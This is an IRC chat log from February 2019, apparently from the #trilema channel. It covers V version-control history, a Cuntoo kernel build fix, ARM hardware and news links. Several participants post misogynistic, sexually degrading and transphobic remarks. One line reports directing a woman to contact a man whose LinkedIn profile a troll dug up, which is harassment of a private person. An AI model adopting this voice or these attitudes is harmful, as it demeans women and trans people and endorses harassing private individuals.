1898996;1550949761;deedbot;diana_alt voiced for 30 minutes. 1898997;1550949784;mircea_popescu;i suspect the whole heathen->cuntoo environment building will require some more brush-up and tweaking. eventually we'll get it smooth but for now such attempts are indeed very useful globally, even if i imagine locally frustrating. 1898998;1550949967;BingoBoingo;Breaking: Vzla's diplomatic relationship with Colombia, Embassy staff expelled 1898999;1550950223;mircea_popescu;keks. 1899000;1550951891;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-april-may-and-june-1714-part-iv/ << Bimbo.Club -- Philosophical Transactions. For the months of April, May and June, 1714. - Part IV. 1899001;1550952313;feedbot;http://qntra.net/2019/02/venezuela-closes-borders-and-further-cuts-diplomatic-and-political-relations-with-colombia/ << Qntra -- Venezuela Closes Borders And Further Cuts Diplomatic And Political Relations With Colombia 1899002;1550964915;feedbot;http://www.loper-os.org/?p=3062 << Loper OS -- X-Ray Stereography Kindergarten. 1899003;1550968339;nicoleci;mircea_popescu: nicoleci kitten, check out latest comments, local troll dug out the linkedin of this lulzcow. write to them, say hi an' tell 'em your master ordered you to << this is done - i messaged him as ordered. :) 1899004;1550986824;hanbot;asciilifeform do you have a url handy for your original, absolutely first-ever post on V? i'd like to link to it. (and while i'm at it, mircea_popescu why doesn't http://trilema.com/2015/no-such-labs-releases-v-for-victory/ link to it?) 1899005;1550987794;asciilifeform;hanbot: whole sequence was in http://therealbitcoin.org/ml/btc-dev/2015-August/thread.html#151 1899006;1550987860;asciilifeform;( trb vgenesis released slightly ~prior~ to 1st vtron per se, recall ) 1899007;1550987920;asciilifeform;http://therealbitcoin.org/ml/btc-dev/2015-August/000159.html << 1st vtron 1899008;1550987946;asciilifeform;http://therealbitcoin.org/ml/btc-dev/2015-August/000161.html << what passed for manual. 1899009;1550987996;asciilifeform;this i think covers it. 1899010;1550988003;*;asciilifeform bbl,bed 1899011;1550988435;hanbot;oh yeah it was mailing list, not blog. imho it oughta have its place in amber on your www. 1899012;1550990166;mircea_popescu;hanbot cuz it links the mailing list. 1899013;1550990220;mircea_popescu;at the time alf was being weird about publishing things on his blog. 1899014;1550990267;hanbot;mircea_popescu so it does. but i mean, "the idea behind this"? what if one's looking for -the- this? 1899015;1550990281;mircea_popescu;~the~ this is actually in the article. 1899016;1550990321;hanbot;am i nuts for expecting the this to be on asciilifeform's blog, seeing as he wrote it? 1899017;1550990341;mircea_popescu;2019 logic didn't seem nearly as logical in 2015, what can i tell you. 1899018;1550990359;hanbot;lolk. 1899019;1550990439;mircea_popescu;there's this common tendency among noob bloggers to regard the blog as some sort of trophycase/showcase. they miss out on their own youth, as the lived story of their own personal path through life, consisting as such always does of failure, and tribulation. 1899020;1550990500;mircea_popescu;before i made nicole go naked on her knees NOBODY EVER imagined going naked on your knees is the proper path towards a technical career. before i published that thing, it wasn't self obvious it should be on loper-os. and so fucking following. 1899021;1550990543;mircea_popescu;witness how instagram is chock full of a bunch of pretentious pictures of foods/travels/whatever that the putative "authors" ~aspire~ to. 1899022;1550990590;mircea_popescu;it'd be way the fuck better to see the 500 failed attempts that went into that quiche/scooba/whatever. but people being the morons that their mothers made them, rather than the people their absent daddies could have conceivably made them, throw out the good stuff and keep around the chaff nobody cares about. 1899023;1550990668;mircea_popescu;and so blogs are significantly shittier than they could have been, and in exchange the author steals his own hat, and "saves face" or w/e the fuck the inner 6yo imagines itself to be getting thereby. 1899024;1550990689;mircea_popescu;"if nobody saw me shitting my pants then therefore nobody has any cause to suspect i ever did" or somesuch. as fucking if that's how anything worked. 1899025;1550990833;*;hanbot wouldn't for a moment think of v as belonging in the set of "failed attempts"/"ugliness or banality potential of life on earth", but otherwise the problem of desire to control perception is spot-on. i certainly have that problem, "x isn't polished enough", "i'll write about y when it's all done and i know what the score is" etc 1899026;1550990867;hanbot;you know, when i'm dead. 1899027;1550990886;mircea_popescu;but you see, ~before~ "v" existed, in the sense you understand it now, v also existed as a thing that hasn't yet existed. 1899028;1550990952;mircea_popescu;v-as-of-2015 is exactly the same item as something-that-will-happen-tomorrow. yes v-as-of-2019 has some sort of value associated, built in those 4 years. but the original, emergent item was valued according to prospective, not historical criteria. basically, it got whatever ~default~ value one put on his own ingenuity. 1899029;1550991011;mircea_popescu;and alf of 2015 was a lot less confident in his own product than there was any cause to (for the obvious reasons he occasionally discusses, http://btcbase.org/log/2019-02-04#1892360 and all that) 1899030;1550991011;a111;Logged on 2019-02-04 17:18 asciilifeform: back when asciilifeform was spending his days putting robot arm through glass doors etc 1899031;1550991186;hanbot;i guess "we've always venerated v" ~= "we've always been at war with eastasia", but it's not so easy to see from this vantage. 1899032;1550991236;mircea_popescu;all the recurrent "look how well this works out, except it only works out because the item was there, you couldn't have computed WHEN I WROTE IT that this is how it'll be useful, nor do you have the time or resources when it'd be useful to re-produce the thing in the past you should've marked" is entirely about this. 1899033;1550991411;*;hanbot nominates that old pic on trilema of some shit you took as mascot for this conversation 1899034;1550991444;mircea_popescu;lol. 1899035;1550991469;mircea_popescu;"but mp, why would you DO that!!!" "i don't know yet." 1899036;1550996208;hanbot;hey phf -- there's some shenanigans with your blog i think. http://p.bvulpes.com/pastes/EVcgT/?raw=true 1899037;1550996601;mircea_popescu;http://archive.is/bc7vw << yeah, his domain expired or got jacked or something 1899038;1550997379;feedbot;http://thewhet.net/2019/02/hanbots-cuntoo-bake-test-notes-part-ii/ << The Whet -- hanbot's Cuntoo Bake Test Notes - Part II 1899039;1551003261;feedbot;http://blog.lobbesblog.com/2019/02/anglotardation-in-an-object-oriented-world/ << lobbesblog -- Anglotardation in an Object Oriented World 1899040;1551007889;phf;http://btcbase.org/log/2019-02-24#1899036 << back now, sorry about that 1899041;1551007889;a111;Logged on 2019-02-24 08:16 hanbot: hey phf -- there's some shenanigans with your blog i think. http://p.bvulpes.com/pastes/EVcgT/?raw=true 1899042;1551024203;mircea_popescu;lobbes your work inspired a trilema megapiece! 1899043;1551024592;asciilifeform;http://btcbase.org/log/2019-02-24#1899016 << more boringly, item was born from trb work ( and specifically jurov's mailing list mechanism , with enforcement of patch signatures ) , i.e. 'hand-cranked v', so ended up on the trb ml. 1899044;1551024592;a111;Logged on 2019-02-24 06:38 hanbot: am i nuts for expecting the this to be on asciilifeform's blog, seeing as he wrote it? 1899045;1551024677;asciilifeform;http://btcbase.org/log/2019-02-24#1899025 << imho trb ml contains massive record of ' asciilifeform's initial failed attempts at v ' : the sequence of 'determine flow with bare hands' pre-v patches. ( signed, too ) 1899046;1551024677;a111;Logged on 2019-02-24 06:47 hanbot wouldn't for a moment think of v as belonging in the set of "failed attempts"/"ugliness or banality potential of life on earth", but otherwise the problem of desire to control perception is spot-on. i certainly have that problem, "x isn't polished enough", "i'll write about y when it's all done and i know what the score is" etc 1899047;1551024833;asciilifeform;http://btcbase.org/log/2019-02-24#1899032 << when 'v' started 'living' outside of domain of strictly trb, asciilifeform did eventually write 'open problems' piece re subj, http://www.loper-os.org/?p=1545 1899048;1551024833;a111;Logged on 2019-02-24 06:53 mircea_popescu: all the recurrent "look how well this works out, except it only works out because the item was there, you couldn't have computed WHEN I WROTE IT that this is how it'll be useful, nor do you have the time or resources when it'd be useful to re-produce the thing in the past you should've marked" is entirely about this. 1899049;1551024875;asciilifeform;it remains true that the 'canonical' piece re subj was by ben_vulpes ( http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system ) tho 1899050;1551025116;asciilifeform;hanbot: orig 'v' was an asciilifeform torture room item, but it was other folx who made it actually useful ( mircea_popescu -- conceived a philosophical foundation for it, conceptually; ben_vulpes -- documented; mod6 et al -- reimplemented , and filled missing pheature holes ; trb users -- battlefield-tested; phf -- keccakized; etc ) 1899051;1551025145;asciilifeform;so even if orig publication had been moar detailed and on asciilifeform's www, one would still be stuck walking all of these, to get proper picture . 1899052;1551025221;mircea_popescu;http://btcbase.org/log/2015-04-07#1091296 1899053;1551025221;a111;Logged on 2015-04-07 21:39 mircea_popescu: but i say the pigs make ham. as that one butcher observed, "i only follow the lines already there" 1899054;1551025230;asciilifeform;aha! 1899055;1551025240;*;mircea_popescu does very little actually creative work ; merely not getting in the way of people trying to make things is a full time job 1899056;1551025242;mircea_popescu;for like 8 people. 1899057;1551025260;asciilifeform;verily. 1899058;1551026055;mircea_popescu;archiving this http://www.cs.man.ac.uk/~pjj/cs212/fix.html 1899059;1551026117;asciilifeform;http://btcbase.org/log/2019-02-24#1899021 << these tend to converge to http://btcbase.org/log/2019-02-23#1898936 -style horror . asciilifeform's pov re writing is to write the kind of thing he would wish to read himself, rather than 'here is what we ate , and here is what looked like when we barfed it out' . granted when taken to extreme other end, can result in writing nuffin at all . 1899060;1551026117;a111;Logged on 2019-02-24 06:42 mircea_popescu: witness how instagram is chock full of a bunch of pretentious pictures of foods/travels/whatever that the putative "authors" ~aspire~ to. 1899061;1551026117;a111;Logged on 2019-02-23 18:34 mircea_popescu: "Busy all day. The phone just would not stop ringing. Mark called several times (some of them about Paychex), Stu called (oops, late to meet him for lunch), my sister called (wants me to buy her a house, but in a good way), I called my grandparents to thank them for the Red Lobster gift card Fade and I used for dinner, the series of phone calls from Eric was because he had to debug a problem with the gpsd test suite hanging o 1899062;1551026174;mircea_popescu;asciilifeform amusingly, this is exactly "alf likes polish notation". good for you, but as the above cs intro page explains : YOU KEEP NEEDING SHIT FROM THE RIGHT. 1899063;1551026204;asciilifeform;mircea_popescu: i like all 3 notations. for erry size of hammer there is a time an' place. 1899064;1551026208;mircea_popescu;you don't generally know what you will like to read, is the problem here. and this is not a resolvable problem for good and fundasmental reasons, also. 1899065;1551026235;asciilifeform;mircea_popescu: i have fairly good picture of what i do ~not~ like to read 1899066;1551026241;mircea_popescu;which is why people who set out to write "interesting journals" end up with crap and peopl setting out to write "earnest journals" end up the basis of history. 1899067;1551026266;mircea_popescu;asciilifeform certainly works in the negative. 1899068;1551026328;asciilifeform;e.g. that poor bastard mircea_popescu dug up, with the http://btcbase.org/log/2019-02-23#1898935 , he has some obv. relevant 'death of open sores' history in there, but i can only stomach maybe 15min at a time of reading his chronicle 1899069;1551026328;a111;Logged on 2019-02-23 18:33 asciilifeform: 'My sound cancelling headphone make excellent earmuffs while walking to The Donald's ' << this has gotta be a joak 1899070;1551026342;mircea_popescu;"i'm not putting another shit on trilema, there's one there and i can't discern how a 2nd woul add anything". nevertheless -- the nut's uncrackable, you literally do not know in 2015 what you will like to read of 2015 in 2019. 1899071;1551026358;asciilifeform;certainly troo in the general case. 1899072;1551026390;asciilifeform;sorta why i ended up turning the squelch knob slightly down, and nao one can see rubbish grain photos etc. on asciilifeform's www. 1899073;1551026391;mircea_popescu;that particular dood was (mildly) interesting to me because he was one of the technically apt people who ended up making ubuntu. 1899074;1551026420;mircea_popescu;it's always a fascinating question, this, "srsly, you lot ended up making the bolshevik party ?!?!?!" 1899075;1551026454;mircea_popescu;somewhat professoral a worldview, i guess. 1899076;1551026467;asciilifeform;mircea_popescu: i found it interesting also, the various linux breakages he describes, i walked through in real time ( 'suspend mode dunwork on any lappy, who do i have to kill' etc 2007-present ) 1899077;1551026664;asciilifeform;mircea_popescu: fella & his worx certainly excellent demonstration of 'what happens to 'technically competent' without http://btcbase.org/log/2019-02-20#1898175 ' imho 1899078;1551026664;a111;Logged on 2019-02-20 17:36 asciilifeform: funnily enuff asciilifeform was just recently describing to pet , how mircea_popescu's pesticide worx, and finally clicked when i 'recall cell culture ? when yer growing eukaryotes, you add antibiotic, or guess what dish will be full of next day' 1899079;1551026711;mircea_popescu;"Life's hard and the path obscure, but you'll figure it all out..." 1899080;1551026779;asciilifeform;d00d drank the 'inclusivity' rotgut, and ended up 'including' poettering + 9000 lesser poetterings et al 1899081;1551026913;asciilifeform;even without any poetterings -- the gnutards just about make republican spain look like unified front in comparison ( e.g. what to make of http://btcbase.org/log/2019-02-23#1898976 ?! ) 1899082;1551026913;a111;Logged on 2019-02-23 19:03 mircea_popescu: "Poking at making an open source version of the Cisco toolchain again, from publicly available sources. (No, Cisco isn't paying me to do this, most of those engineers are off for the holidays and not even answering their work email. I'm doing it because I'm disgusted with the FSF and would love to undermine Mepis II any way I can.)" << nuts. 1899083;1551027019;asciilifeform;the pov where 'esr quisling, and if not for him, linux would work' is imho simplistic -- there were 9000 quislings, and maybe dozen frustrated honest folx . what could that possibly have added up to. 1899084;1551027086;mircea_popescu;this. 1899085;1551027095;mircea_popescu;it ~worked fine~ with bitcoin. 1899086;1551027143;asciilifeform;i'm not even convinced that bitcoin would still work if not for the coupla times mircea_popescu applied the defibrillator 1899087;1551027149;mircea_popescu;which is the whole "movement"'s http://www.loper-os.org/?p=165#selection-311.0-316.0 moment : no cypherphunks, no "free/open source", no "computer science", no "community", NOBODY has the excuse that "oh it couldn't have been made to work" anymore. 1899088;1551027154;mircea_popescu;it works fine -- but you gotta work it. 1899089;1551027171;mircea_popescu;asciilifeform so ? no shortage of names in the lengthy annals of anglocomputing. 1899090;1551027206;mircea_popescu;five thousand generals and a shortage of generalling you couldn't believe, it's like the island with >9k fishermen which last saw a fish painted on a tuna can. 1899091;1551027208;asciilifeform;if it were a healthy birth, wouldn't need defibrillator when 5yo , would it 1899092;1551027217;mircea_popescu;this is not a given. 1899093;1551027225;asciilifeform;even nao imho thing is a mockery of the orig. 'p2p' premise 1899094;1551027238;mircea_popescu;a large subset of children require corrective heart surgery, grow into perfectly healthy adults. 1899095;1551027255;asciilifeform;large where?! chernobyl ?? 1899096;1551027259;mircea_popescu;asciilifeform the point isn't the tool, the point is that you don't have to build a fucking gnu. 1899097;1551027311;asciilifeform;rright. but must observe, that folx who dun grasp http://btcbase.org/log/2018-06-12#1823933 , ~will~ build a gnu. regardless of what they're nominally attempting to build. 1899098;1551027311;a111;Logged on 2018-06-12 19:19 asciilifeform: matters technical and political are not in reality separable. 1899099;1551027320;mircea_popescu;asciilifeform it's large in the clinical sense, it's possibly the ~best prospect surgery~ known, other than apendectomy. 1899100;1551027330;asciilifeform;mircea_popescu: i'm aware. 1899101;1551027350;mircea_popescu;i don't mean "every third". 1899102;1551027368;mircea_popescu;it's like 2-300 ppm if memory serves. 1899103;1551027368;asciilifeform;it's not clear to me that the congenital defects are fixable ( hence the various 'trbi' threads etc ) 1899104;1551027375;asciilifeform;( re bitcoin ) 1899105;1551027377;mircea_popescu;now, considering both severity and curative expense, this is large. 1899106;1551027517;asciilifeform;!#s mining is a bug 1899107;1551027518;a111;26 results for "mining is a bug", http://btcbase.org/log-search?q=mining%20is%20a%20bug 1899108;1551029050;mircea_popescu;meanwhile in mp being coincidentally right yet again, http://btcbase.org/log/2015-03-19#1058161 1899109;1551029050;a111;Logged on 2015-03-19 20:50 mircea_popescu: i doubt anyone seriously believes she moves into anything but a jail cell once term ends. 1899110;1551029391;asciilifeform;oh hey it happened ? 1899111;1551029507;BingoBoingo;asciilifeform: 8 new charges tomorrow on Herr Christina https://www.telam.com.ar/notas/201902/335523-cristina-kirchner-sera-indagada-manana-en-ocho-causas.html 1899112;1551029658;asciilifeform;hrm it's an orcistan, neh. could still grease palms, an' walk. 1899113;1551030249;BingoBoingo;Nah, the other orcs are finding too much hoarded palm grease to trade it for fresh. 1899114;1551032500;mircea_popescu;she's screwed. 1899115;1551033504;feedbot;http://trilema.com/2019/word-by-fucking-word-you-understand-me/ << Trilema -- Word by fucking word, you understand me ? 1899116;1551033817;asciilifeform;apotropaion >> custom alive an' well, e.g. https://archive.is/Nx6IO 1899117;1551033908;asciilifeform;^ in bg, the chix with sword, 85 metres, biggest colossus in world when built (60s) 1899118;1551033942;asciilifeform;sword per se big enuff to sway in the wind. 1899119;1551034022;asciilifeform;under it , marshall chuikov & other folx who helped to fill the hill with dead jerries, buried. 1899120;1551034113;asciilifeform;quite symbolically of fall of su, incidentally, word is that the thing's become a 'leaning tower' and likely to splat soon. 1899121;1551034162;asciilifeform;( putin -- decreed that it is to be fixed, we'll see how that goes ) 1899122;1551034200;mircea_popescu;aha. 1899123;1551034328;mircea_popescu;was this in kiev ? 1899124;1551034332;asciilifeform;stalingrad. 1899125;1551034394;mircea_popescu;i recall some lulz about cutting the sword because taller than whatever lavra 1899126;1551034412;asciilifeform;~that~ prolly in ukristan. 1899127;1551034444;asciilifeform;( where afaik there aint much in the way of statues left ) 1899128;1551034473;asciilifeform;http://btcbase.org/log/2014-09-02#818521 << see also. 1899129;1551034473;a111;Logged on 2014-09-02 19:29 asciilifeform: mircea_popescu: 'Вместо статуй будут урны - Революции культурной.' -- vysotsky's song about chicoms 1899130;1551034559;mircea_popescu;it's actually quite elegant, unbalanced like that. 1899131;1551034597;mircea_popescu;problem with modern monumental construction, fucking impossible to be elegant in concrete, it's the definitive substance of "american gothic", two square tubs and stolid flowers behind or somesuch is all it does. 1899132;1551034601;asciilifeform;aha. iirc they had to replace the orig hollow titanium sword with solid steel one, old one bent 1899133;1551034630;mircea_popescu;i don't understand how the rfuck it stands. 1899134;1551034636;mircea_popescu;does it like, have steel cabling inside or wtf. 1899135;1551034651;asciilifeform;inside yes. sorta like bucky fuller's 'tensegrity' scheme. 1899136;1551034731;mircea_popescu;pretty cool! 1899137;1551036987;feedbot;http://qntra.net/2019/02/usg-baits-child-porn-enthusiast-to-plea-out-for-money-laundering-over-0-06-btc/ << Qntra -- USG Baits Child Porn Enthusiast To Plea Out For Money Laundering Over 0.06 BTC 1899138;1551037242;BingoBoingo;^ Trust moar USG.BASE 1899139;1551037439;mircea_popescu;the lulzy "you're paying for our incarceration circus" thing is ever spreading, i see. 1899140;1551037465;mircea_popescu;how does one distinguish the usg from this fat ugly but stupid older woman strutting about as if she's gonna decide how the money's spent ? 1899141;1551037561;BingoBoingo;Just... how much these papers suck. Why would anyone who isn't a self hating pervert sign any agreement structured this way? 1899142;1551037604;mircea_popescu;meanwhile at mini-usg, "LordMPofTMSR Think of it as an intelligence test. That you're failing." JessicaShadow 24F Switch "That of itself is hilarious, considering I know exactly how smart I am, and how high my IQ is. 1899143;1551037604;mircea_popescu;I can see that you are not a very good Dom/Master. You are abusive and hide behind that title as an excuse. You are not attractive, you have a terrible personality, and you don't deserve subs. I hope they can work up the courage to leave your abusive ass." 1899144;1551037646;BingoBoingo;That they don't actually have and can't have any franchise is obvious. 1899145;1551037779;mircea_popescu;kinda how this works, all the self-loathing weirdos end up in "jail". 1899146;1551037781;BingoBoingo;JessicaShadow 24F Switch << Indecisive soon to be late 20 something can't appreciate she's a loser while hanbot is a very cool weapon of mass destruction 1899147;1551037805;mircea_popescu;remember back when jail used to be this SCARY place ?! 1899148;1551037811;mircea_popescu;by now it's a collective of chronic masturbators. 1899149;1551037827;mircea_popescu;i mean this literally, btw. all everyone ever does in us small camp is jack it. 1899150;1551037841;mircea_popescu;guards go home with accidental cum in their hair daily. 1899151;1551037988;BingoBoingo;Well, the state prisons likely still got the bucks from the hood. But... club fed... 1899152;1551038091;mircea_popescu;even those. dorks have aspirations, they don't intend to waste their only shot at life. it's gotta be used well, they aim to die doing what they themselves deem worthy, etcetera. 1899153;1551038106;mircea_popescu;you can't select a 1968 vietnam platoon out of an entire state's penitentiary system. 1899154;1551038146;mircea_popescu;the weakest computer geek of 1989 is still a gravel chewing, piss&vinegar machine compared to the toughest "hoodlum" of 2019. 1899155;1551038157;BingoBoingo;This is true 1899156;1551038204;BingoBoingo;As Lafond amply documents 1899157;1551051510;feedbot;http://pizarroisp.net/2019/02/24/pizarro-isp-february-24th-update/ << PizarroISP -- Pizarro ISP February 24th Update 1899158;1551059315;lobbes;http://btcbase.org/log/2019-02-23#1898992 << so I figured it out my kernel issues. It seems to have been caused by a known bug >> http://lkml.iu.edu/hypermail/linux/kernel/1508.1/02478.html 1899159;1551059315;a111;Logged on 2019-02-23 19:16 lobbes: Luckily, this time around I have a 40MB screenlog to parse through. Will return once I have a more substantive understanding of where exactly the failure points are when trying to build my kernel config 1899160;1551059319;lobbes;solution being to simply disable CONFIG_STACK_VALIDATION by setting it to blank, i.e "CONFIG_STACK_VALIDATION =". This was a newer kernel config I was using this time around; I checked and this config option was not even mentioned in my older config 1899161;1551059327;lobbes;However, I'm pleased to say I now have a bootable (and, this time, login-able!) cuntoo on my usb stick. I'll aim to get a post with all the details out this week 1899162;1551059538;BingoBoingo;Congrats on the good news lobbes 1899163;1551059545;lobbes;ty BingoBoingo 1899164;1551076020;mircea_popescu;nuts. 1899165;1551081842;mircea_popescu;"analytical philosophy", as the currently preferred endonym for "typical anglo provincialism", ie the attempt at naive extension of "common sense" and broadly dysfunctional medieval solipsisms is methodologically sound, but unfortunately fundamentally rotten, and in the most laughable ways at that. "postmodernism", as the anglotard xenonym for, mostly, post-structuralism, is fundamentally sound, but unfortunately methodologic 1899166;1551081842;mircea_popescu;ally rotten in most applications you're likely to encounter. as it stands, between the "mechanical birdwing" that never could possibly take off and the early aeroplane that generally crashes and burns, you're stuck picking the latter. 1899167;1551081856;mircea_popescu;oops. 1899168;1551119468;asciilifeform;meanwhile, in 'the new linus torvalds' lulz: https://archive.is/C6AFq >> 'The price advantage of ARM will never be there for ARM servers unless you get enough volume to make up for the absolutely huge advantage in server volume that Intel has right now ... no real advantage to ARM ... basic economics ... this is why the PC took over, and why everything else died ... you're going to be a tiny minority ... x86 won' 1899169;1551119688;mircea_popescu;aww. is this http://trilema.com/2015/on-how-the-factored-4096-rsa-keys-story-was-handled-and-what-it-means-to-you/ all over again ? 1899170;1551119695;asciilifeform;loox like! 1899171;1551119704;asciilifeform;pretty fast turnaround, gotta say 1899172;1551119709;mircea_popescu;check out what changed in 4 years alfie, back in 2015 we had to ~go there~. now they sit around reading the log on their own dime, to "preemptively" etc. 1899173;1551119772;asciilifeform;riotously wtf. but i can't picture how else. 1899174;1551119782;asciilifeform;wai ~now~ 'surrender, arm is dead' etc 1899175;1551119972;mircea_popescu;whatever. there's better shows in town, anyway. 1899176;1551120005;*;asciilifeform doesn't even ~like~ arm much, but it remains the case that it's the 1 green leaf in the garbage disposal of non-x86 atm 1899177;1551120104;*;asciilifeform still curious how they maintain the http://btcbase.org/log/2019-02-16#1897140 lulzstatusquo 1899178;1551120104;a111;Logged on 2019-02-16 01:13 asciilifeform: mircea_popescu: not even 'tb', but go an' try to find on market arm box of ~any~ description that eats ordinary socketed dimms 1899179;1551120210;asciilifeform;near as i can tell, reich 'soft banned' arm mobos with socketed rams 1899180;1551120277;asciilifeform;( not simply arm, either, but ~anyffin~ non-x86 ) 1899181;1551120394;feedbot;http://trilema.com/2019/well-since-i-started-might-as-well/ << Trilema -- Well, since I started, might as well... 1899182;1551121527;BingoBoingo; check out what changed in 4 years alfie, back in 2015 we had to ~go there~. now they sit around reading the log on their own dime, to "preemptively" etc. << very true 1899183;1551121575;mircea_popescu;asciilifeform possibly tenuously, hence the lulz. 1899184;1551121684;asciilifeform;so far i only found that 1 chinese box, costing its weight in silver, etc. but this does not disprove mircea_popescu's hypothesis. 1899185;1551121700;BingoBoingo;The Chicoms keep teasing socketed ARM, and then... 1899186;1551121718;asciilifeform;BingoBoingo: afaik no socketable arm (as in cpu per se) has ever been offered. 1899187;1551121726;asciilifeform;(not since acorn anyway) 1899188;1551121751;BingoBoingo;Forgot to spec socketed RAM. I haven't even seen socketed chip teases 1899189;1551121893;asciilifeform;ftr there is a (theoretical) 'innocent' explanation for 'nuffin socketed' -- at current-day freqs, sockets actually cost comparably with the chip 1899190;1551121907;asciilifeform;cuz impedance-tolerance is tight. 1899191;1551121953;asciilifeform;( observe what current-day cpu sockets look like, vs days of 486 'lif' ) 1899192;1551122056;mircea_popescu;this is true ; yet you'd expect intel started making the boards with the chips. 1899193;1551122062;mircea_popescu;why don't they, technological incapacity ? 1899194;1551122081;asciilifeform;why would they cannibalize their x86 idjicy ? 1899195;1551122109;mircea_popescu;i honestly don't understand why latest pc even has pcb in at all. all the shit could be on-die anyway. 1899196;1551122169;asciilifeform;mircea_popescu: it ~is~, in their bleeding-edge luser pc product. just not anyffing you'd buy. e.g. https://archive.is/Kqh7F 1899197;1551122172;mircea_popescu;make a computer look like an aluminum can, one spikey end with the cpu and radiator, one flat end to sit it on. 1899198;1551122206;asciilifeform;pictured item is it. 1899199;1551122210;mircea_popescu;asciilifeform a ok, that actually looks exactly like soviet take of above. 1899200;1551122220;asciilifeform;iirc crapple's latest lappy is same thing, with added periphs 1899201;1551122233;mircea_popescu;aha. 1899202;1551122247;asciilifeform;cpu, gpu, north/south, etc . on 1 die. 1899203;1551122254;mircea_popescu;myeah. 1899204;1551122270;asciilifeform;( funnily enuff, not ram -- they lost ram market to samsung and it aint coming back ) 1899205;1551122352;mircea_popescu;myeah. 1899206;1551122821;mircea_popescu;welcome back eh! 1899207;1551122834;asciilifeform;wb diana_coman ! 1899208;1551122863;diana_coman;thanks! it's good to be back 1899209;1551122882;*;diana_coman kept up with the logs but not with trilema.com 1899210;1551122957;mircea_popescu;somehow february counted as two months for the blog, nfi. 1899211;1551122980;diana_coman;!!v 7248C1AA2033BFBE213D7F51CA55F871CCDD25B5D14D2535BCB64A0A81D2874A 1899212;1551122982;deedbot;diana_coman updated rating of spyked from 2 to 3 << met irl; writes at http://thetarpit.org/ 1899213;1551123240;mircea_popescu;it does seem though that the "article is ~500 words" thing that stood true for a decade or so meanwhile morphed into an "article is ~2k words" thing. i hope it stops, this process, before expanding past the point where not even i can be bothered to read one. 1899214;1551123368;diana_coman;heh, sure it stops: article is ~3.5k words + ~50 links 5 layers deep or something 1899215;1551123415;asciilifeform;mircea_popescu: reading'em is pretty fast, in asciilifeform's experience, if you have the 'working set' loaded into brain 1899216;1551123420;mircea_popescu;there's no guarantee "writing an article" is a procedure that returns, in principle. maybe it ends that way. 1899217;1551123570;BingoBoingo;Some trilemas I read quickly in 2013-2019 today take substantially more time to read as I correct and rebuild the working set in the headcase. Then again 2013-2017 I was mistakenly filtering for Bitcoin. But that filtering doesn't work. 1899218;1551123618;mircea_popescu;that's kinda the problem with reading. the actual driver of length-ening is precisely this, one could produce shorter articles, but it's a time-to-read/space-to-write tradeoff. 1899219;1551123708;BingoBoingo;Anyways, I carry some technical debt, but as I've been learning since last year there's a lot of pressing cultural debt. 1899220;1551123740;mircea_popescu;debt is the only post-imperialist given. 1899221;1551123764;BingoBoingo;Less pressing as the headcase contents get flushed and refreshed with the re-reading, but it's a thing on the issues chart 1899222;1551126998;feedbot;http://qntra.net/2019/02/another-week-another-us-hate-hoax-as-lgtbbq-activist-torches-own-house-killing-pets/ << Qntra -- Another Week, Another US Hate Hoax As LGTBBQ Activist Torches Own House Killing Pets 1899223;1551127480;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-april-may-and-june-1714-part-ii/ << Bimbo.Club -- Philosophical Transactions. For the months of April, May and June, 1714. - Part II. 1899224;1551131194;mircea_popescu;nicoleci http://p.bvulpes.com/pastes/m92oi/?raw=true 1899225;1551132725;asciilifeform;'As gay rights supporters try to reconcile Joly the crusader with Joly the alleged arsonist, they worry the arrest could be used to reverse all the good he has done' << lol! 1899226;1551133477;mircea_popescu;they're pretty lulzy to watch, lost in their lala-land of "good that's done" and whatnot. 1899227;1551133508;mircea_popescu;what "good" ? what "done" ? 1899228;1551134303;BingoBoingo;Well, she fussed a lot 1899229;1551134322;BingoBoingo;Old women like fussing, as carried out by this old woman 1899230;1551134627;asciilifeform;'Meanwhile donations rolled in for Joly and Moore. The church hoped to raise $10,000 but quickly sped past that amount. By the time St. Johns and other groups were done they had collected $58,000, they said. In a Facebook post two days after the fire, Joly exhorted supporters not to respond to the blaze by threatening violence. “Yes, be angry, be very angry,” he wrote. “Use that anger to force good! Use that anger to make chang 1899231;1551134627;asciilifeform;e.”' 1899232;1551134630;mircea_popescu;sooo... in more practical terms, "old women everywhere fear that this one old woman's idle oldwomanhood's sudden collapse into active boyhood might be more than an isolated event" 1899233;1551134656;mircea_popescu;somewhat parallel to the very threatened reaction of girlies in a group of girlies, when i bid one come over. "if she goes to the slaugther when called to the slaughter, who's to say i wouldnt?!?" 1899234;1551134726;mircea_popescu;obviously no-one's to say she wouldn't, especially seeing how [http://trilema.com/2019/get-lost-dumbo/#selection-2639.0-2641.14][of fucking course she would]. 1899235;1551134931;BingoBoingo;Anyways, to be clear the arsonist fusser is XX chromosoned, presumably taking male steriod hormones for years if not decades. 1899236;1551135140;asciilifeform;pretty great. gotta wonder if these folx realize on some level that they're pouring the foundations for the eventual crematoria. ( or will be 'surprised', like the prev set ) 1899237;1551135149;mircea_popescu;yet the very obvious "female accidentally displays agency, ends up in http://trilema.com/2015/gender-politics-and-the-war-on-will/ conundrum" is pretty lulzy. what is wrong, to be an activist or to set your house on fire ? 1899238;1551135177;mircea_popescu;asciilifeform post-rationality. 1899239;1551135211;mircea_popescu;"there's nothing to realise, no means no" "to whom ?" 1899240;1551135233;asciilifeform;incidentally 'burned own house' is somewhat misleading , in we-build-from-matchsticks usa there is good chances of incinerating whole street 1899241;1551135235;mircea_popescu;"no, there's absolute truth, and absolute value of symbols. no means no ~objectively~" "since when ?" 1899242;1551135274;asciilifeform;( there's a reason why in old japan arsonists were invariably burned at the stake, i.e. same as for high treason ) 1899243;1551135304;mircea_popescu;asciilifeform eh, it's self-limiting, if enough houses burn down it'll just be the new fashion. "this is how things ARE now" worked ok for new york in its slow descent to africa, what's to keep them. 1899244;1551135320;asciilifeform;mircea_popescu: sure enuff. recall e.g. chicago. 1899245;1551135367;mircea_popescu;in practice, women make do, and the femstate as organized womanhood (whether you like it or not) will... well... see, it gets something in exchange for permanent defeat. it's indefeatable in its own terms now!!! 1899246;1551135379;BingoBoingo;Not like the US is going to rediscover "cob" construction. 1899247;1551135411;mircea_popescu;why would it! it priviledges the wrong criteria over considerations "much more important to us". 1899248;1551135492;BingoBoingo;The failure to transition from temporary log cabins and clapboard to cob or ferrocement 